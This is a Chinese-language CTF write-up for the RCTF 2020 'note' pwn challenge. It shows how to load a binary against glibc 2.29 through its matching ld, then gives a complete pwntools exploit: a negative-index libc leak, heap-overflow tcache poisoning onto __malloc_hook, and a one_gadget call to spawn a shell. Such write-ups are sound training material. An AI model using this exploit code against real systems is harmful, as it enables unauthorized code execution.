RCTF 2020 Pwn note

漏洞点为索引没有过滤负数以及堆溢出。利用方法为首先通过负数索引泄露libc,然后构造堆溢出到tcache的fd为__malloc_hook的地址,再触发两次对应大小的malloc即可实现任意地址写,写入one_gadget即可。另外题目环境为libc2.29,本文还使用了ld-2.29.so直接加载题目的方式,介绍了在任意版本的ubuntu下做任意libc版本Pwn题的方法。

题目附件:note_attachment.zip

任意libc版本运行

首先查看libc的版本,在无法直接运行libc时,可以直接看libc的字符串:

➜  strings libc.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
Compiled by GNU CC version 8.3.0.

本题原始附件中是没有给出ld-2.29.so的,在这种情景下,我们是无法在没有完整安装libc2.29的环境下加载题目中的libc.so.6的,我们可以直接运行一下:

uname -a
Linux ubuntu 4.15.0-99-generic #100~16.04.1-Ubuntu SMP Wed Apr 22 23:56:30 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
➜  ./libc.so.6
[1]    101643 segmentation fault (core dumped)  ./libc.so.6

但是如果运行ld-2.29.so并且将libc.so.6作为参数即可运行:

➜  ./ld-2.29.so libc.so.6 
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
	crypt add-on version 2.1 by Michael Glad and others
	GNU Libidn by Simon Josefsson
	Native POSIX Threads Library by Ulrich Drepper et al
	BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

背后的原因是ld和libc要配套,而且可以通过ldd工具查看二者背后依赖的库:

➜  ldd ./libc.so.6
	/lib64/ld-linux-x86-64.so.2 (0x00007f02902f9000)
	linux-vdso.so.1 =>  (0x00007fffa430d000)
➜  ldd ./ld-2.29.so 
	statically linked

可见,libc也是依赖ld的,而ld是一个静态链接的库,linux-vdso.so.1是linux64位下都有的,故按道理只要在任意64位linux发行版中,只要系统调用满足,都可以使用如上的方式加载任意版本的libc,那么如何加载程序呢?和我这篇文章:IDA动态调试:arm架构的IoT设备上运行armlinux_server错误的一种解决办法,给出的方法相同,通过运行ld,目标程序当做ld的参数,并通过环境变量LD_PRELOAD设置libc即可:

LD_PRELOAD=./libc.so.6 ./ld-2.29.so ./note 
=========Welcome to NOTE shop!=========
1.New a note
2.Sell a note
3.Show a note
4.Edit a note
5.Exit
======================================
Choice: 

可以另开一个shell检查这个进程的内存映射:/proc/pid/maps,观察的确是加载的当前目录的libc以及ld,那在pwntools里怎么使用呢?一个道理:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./note")
libc   = ELF("./x64/2.29/libc-2.29.so")
ld     = ELF("./x64/2.29/ld-2.29.so")
io     = process(argv=[ld.path,myelf.path],env={"LD_PRELOAD" : libc.path})
gdb.attach(io,"vmmap")
io.interactive()

另外在天舒的提示下知道了可以在这里获取各个版本的libc以及ld:glibc package in Ubuntu,进入每个版本的libc右侧的amd64选项,然后即可看到相应的deb包,下载并在ubuntu中使用dpkg -X xxx.deb ./dir/解压,即可在相应目录下找到对应版本的libc以及ld。

这里我已经做好了收集工作:ubuntu不同版本的libc以及ld整理

解题

  • 通过-5索引,在data段正好能访问到本段地址,便可以把数据段中的内容打印出来,包含着libc相关
  • 还可以通过-5索引,拿到data段的内存写,故可以任意修改money
  • 构造好tcache,通过隐藏功能7,溢出到tcache的fd
  • 由于calloc不用tcache,所以需要触发malloc
  • 程序中只有隐藏功能6是malloc,而且大小是0x50,故之前构造的tcache的大小也需要是0x50
  • 隐藏功能6会检查一个全局变量,不过使用-5仍然能覆盖到
  • 修改金钱,调用两次malloc,写入one_gadget,然后再加一次钱,最后调一次malloc即可触发getshell
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./note")
libc   = ELF("./libc.so.6")
ld     = ELF("./ld-2.29.so")
io     = process(argv=[ld.path,myelf.path],env={"LD_PRELOAD" : libc.path})
#io     = remote("124.156.135.103",6004)

sla         = lambda delim,data           :  (io.sendlineafter(delim, data))
sa          = lambda delim,data           :  (io.sendafter(delim, data))
new         = lambda index,size           :  (sla("Choice: ","1"),sla("Index: ",str(index)),sla("Size: ",str(size)))
sell        = lambda index                :  (sla("Choice: ","2"),sla("Index: ",str(index)))
show        = lambda index                :  (sla("Choice: ","3"),sla("Index: ",str(index)))
edit        = lambda index,message        :  (sla("Choice: ","4"),sla("Index: ",str(index)),sla("Message: \n",message))
name        = lambda name                 :  (sla("Choice: ","6"),sla("name: \n",name))
overedit    = lambda index,message        :  (sla("Choice: ","7"),sla("Index: ",str(index)),sa("Message: \n",message))

# leak libc & bss
show(-5)
data_addr     = u64(io.recv(8)) ; io.recv(16)
libc.address  = u64(io.recv(8)) - 0x1e5760
one_gadget    = libc.address+0xe237f
show(-5); bss = io.recv(0x70)

# use -5 to set money and over the one time chance
setmoney        = lambda money             :  (edit(-5,p64(data_addr)+p64(money)))
overflow        = lambda idx,data          :  (edit(-5,p64(data_addr)+p64(0x996)+p32(1)),overedit(idx,data))

# set money to allow new and name function
New             = lambda idx,size          :  (setmoney(0x99600),new(idx,size))
Name            = lambda data              :  (setmoney(0x9960000),name(data),edit(-5,bss))

# use tcache poisoning to arbitrary address write
def aaw(addr,data):
    New(0,0x50);New(1,0x50);sell(1)             # put one chunk to tcache list
    overflow(0,"1"*0x58+p64(0x61)+p64(addr))    # overflow tcache fd to addr
    Name("a")                                   # use malloc to get addr
    Name(data)                                  # modify addr content to data

# modify __malloc_hook to onegadget and trigger it
aaw(libc.symbols['__malloc_hook'],p64(one_gadget))
setmoney(0x9960000);sla("Choice: ","6")
io.interactive()